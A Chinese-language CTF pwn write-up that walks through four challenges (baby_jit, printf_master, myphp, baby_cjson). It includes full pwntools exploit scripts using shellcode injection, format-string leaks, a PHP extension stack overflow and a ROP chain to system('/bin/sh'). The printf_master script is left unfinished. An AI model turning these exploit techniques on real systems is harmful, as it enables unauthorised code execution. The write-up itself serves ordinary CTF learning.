baby_jit

一道shellcode题

程序实现了一个计算器,按照指定格式operation data输入,exec时对输入进行parse并转换为机器码存放在分配出的固定区域0x10000,解析完后并执行

利用点在于shellcode执行的起始点可以被用户控制,如果将起始点控制为data区域,那么我们输入的data就会被作为机器码执行,配合jmp即可做到shellcode的完全执行

题目有禁用execve,需要orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*
import binascii
import struct

elf_path='./baby_jit'

#libc=ELF('./libc-2.31.so',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
u7f =lambda :int(ru('\x7f')[-6:].ljust(0x8,b'\x00'))
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('10.1.170.18',9999)


p=run()

def add(content):
sla(b'>> ',b'1')
sl(b'add '+tbs(content))

add(int('06eb67616c6668',16))


add(int('06ebd231e78948',16))
add(int('07eb026af631',16))
add(int('06ebc031050f58',16))
add(int('06eb286a5f036a',16))

add(int('07ebe689485a',16))
add(int('07eb016a050f',16))
add(int('07eb4a286a5f',16))
add(int('06eb016ae68948',16))

add(int('050f58',16))
dbg()
sla(b'>> ',b'2')
sla(b'offset?',b'0.177')

irt()

printf_master

格式化字符串题,不算很难但绝对够恶心

用户可选获得libc,heap,code,stack中的一个的最低两个字节

个人选择的是stack,可以避免第一步的爆破

之后存在一次格式化字符串机会,但是禁用了$以及n字符不能够出现超过4次

没有充足的信息且仅有一次格式化字符串显然很难完成利用,所以我们需要想办法获得更多次数的格式化字符串利用

这里唯一的办法应该是就是利用%n修改printf的返回地址,再次回到输入name并格式化字符串利用的位置,以此获得足够的利用机会,这样的话就会需要栈上二级指针,好在是有的,不过修改返回地址的时候会有一次1/16爆破

那么第一步应该就是完成泄露,并再次回到格式化字符串漏洞

第二步以及之后的操作便是利用栈上的信息来任意写,一个可选方案是修改free的got表,然后最后一次漏洞利用的时候,在格式化字符串最前面是/bin/sh;,这样后面释放的时候就会getshell

虽然说起来简单,但实际上因为

  1. 本题对格式化字符串漏洞的限制
  2. 过程中存在的爆破
  3. 地址随机化对格式化字符串%n的影响

使得exp的编写是绝对够恶心的

本人一贯是没什么耐心的,exp只完成了第一步,还没有优化格式化字符串的构造(没有优化的话爆破成功率还不到1/16),但想来这题应该就是这么个思路

仅供参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*
import binascii
import struct

elf_path='./pwn'

libc=ELF('./libc-2.31.so',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

#context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
u7f =lambda :u64(ru('\x7f')[-6:].ljust(0x8,b'\x00'))
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('127.0.0.1',1234)

p=run()

sa(b'>>> ',tbs(1))
ru(b'0x')
stack=int(ru(b'\n',drop=True),16)
leak('stack',stack)
#第一步
payload=b'%c'*10+b'%p'+b'%c'*3+b'%p'+fmt('%{stack-0x2a-0x17}c')+b'%hn'+b'%c'*26+fmt('%{0xf54e-stack-27-0xe7+0x100}c')+b'%hn'

sa(b'your name?\n',payload)
code=int(ru(b'bd')[-12:],16)-0x16bd
libc.address=int(ru(b'83')[-12:],16)-0x24083
leak('code',code)
leak('libc',libc.address)
system=libc.sym['system']
#dbg('''
#b *$rebase(0x154e)
#''')

#第二步
payload=
sa(b'your name?\n',payload)
irt()

myphp

phppwn

以前做的题都是让用户上传一个php,然后执行这次给了一个这个

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
if(preg_match('/[a-z,A-Z,0-9<>\?]/', $_POST['code']) === 0){
eval($_POST['code']);
}else{
die();
}
}else{
phpinfo();
}
?>

??听说需要用到web方向的一些绕过技巧,但我不会

漏洞在myphp.so中的zif_phppwn

memcpy使用的是传进字符串时给出的长度,但是check检查时却是使用的strlen计算出的结果

所以存在栈溢出,如果是上传php的话应该是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";

function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}

function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "\x00");
return $addr;
}

function leakaddr($buffer){
global $libc,$mbase;
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20190902\/myphp.so/';//这个是我本地路径
preg_match_all($p1, $buffer, $mbase);
return "";
}

function leak(){
global $module_base, $libc, $mbase;

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$module_base=hexdec($mbase[1][0]);
}


function attack(){
global $libc_base, $module_base;
$payload = str_repeat("\00", 0x128).p64($module_base+0x1c4d);
phppwn($payload);
}

leak();
attack();
?>

不过eval的话我就不会了,不知道有没有人是预期解做的


看到了别的师傅的博客,其实真正的漏洞点应该在于

1
2
unsigned __int8 len; // [rsp+14Fh] [rbp-41h]
len = strlen(arg);

len是一个单字节长度变量

所以只需要输入长度超过255的内容即可利用

1
2
payload=b'hVymkNmp0NM0NcYCswNtFbUZuG1GXbwUPD9H'.ljust(256,b'a')
print(payload)
1
eval("phppwn($payload)");

baby_cjson

又是一题格式化字符串题目,题目名字叫cjson但其实没有任何关系,只需要会基础的语法就行了

对json的了解一直以来都停留在只是知道有这么个东西,比赛的时候就直接略过了,现在想来太不应该

首先花十分钟通过runoob大概了解一下json的基本内容

然后找了一个cJSON库DaveGamble/cJSON: Ultralightweight JSON parser in ANSI C 大致看看一些api接口

然后就可以开始分析了

然后发现这题和json压根没有什么关系,就是套了个json的壳

在delete功能中

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_4FAA(__int64 a1, const char *a2)
{
__int64 v3; // [rsp+18h] [rbp-8h]

v3 = sub_4662(a1, a2);
putchar('[');
printf(a2);
puts("] been deleted");
return sub_4E2F(a1, v3);
}

a2是用户可控的,所以存在一个格式化字符串漏洞

这题与之前那题相比无疑友好了许多,没有字符限制且无限制次数,但格式化字符串长度被要求不能超过24,这个要求同样很严格

在尝试后发现,这题单靠这个格式化字符串漏洞很难完成利用(其实应该是可以的)

于是尝试在edit中触发parse错误退出,然后看看改link_map的l_info能不能行,分析parse出错只能在edit中

结果在edit功能中随便输入一些数据时发现出现了*** stack smashing detected ***: terminated错误

那就是有栈溢出,gdb顺藤摸瓜找到了这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void *__fastcall sub_15B6(const char *a1, __int64 (__fastcall **a2)(size_t))
{
size_t n; // [rsp+10h] [rbp-9A0h]
void *v4; // [rsp+18h] [rbp-998h]
char dest[632]; // [rsp+730h] [rbp-280h] BYREF
unsigned __int64 v6; // [rsp+9A8h] [rbp-8h]

v6 = __readfsqword(0x28u);
if ( !a1 )
return 0LL;
n = strlen(a1) + 1;
v4 = (void *)(*a2)(n);
if ( !v4 )
return 0LL;
if ( n <= 0xFFF )
memcpy(dest, a1, 0x1000uLL);
memcpy(v4, a1, n);
return v4;
}

那思路就明确了,printf泄露然后栈溢出控制流

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
import binascii
import struct

elf_path='./pwn'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
u7f =lambda :u64(ru('\x7f')[-6:].ljust(0x8,b'\x00'))
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('127.0.0.1',1234)

def delete(name):
sla(b'>',tbs(4))
sla(b'Data name:',name)

def edit(name,content):
sla(b'>',tbs(3))
sla(b'Data name:',name)
sla(b'data len:',tbs(len(content)))
sa(b'data:',content)

p=run()

sla(b'Init Data size: \n',tbs(120))

sla(b'Your Json:\n',b'{"a":"b"}')

delete(b'%p%25$p')

libc.address=int(ru('23')[-12:],16)-0x1ED723
leak('libc',libc.address)
canary=int(ru(']',drop=True)[-16:],16)
leak('canary',canary)


pop_rdi_ret=libc.address+0x23b6a
ret=libc.address+0x23b6b
binsh=next(libc.search(b'/bin/sh'))
system=libc.sym['system']
#dbg('b *$rebase(0x15B6)')
edit(b'ixout',b'a'*632+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system))

irt()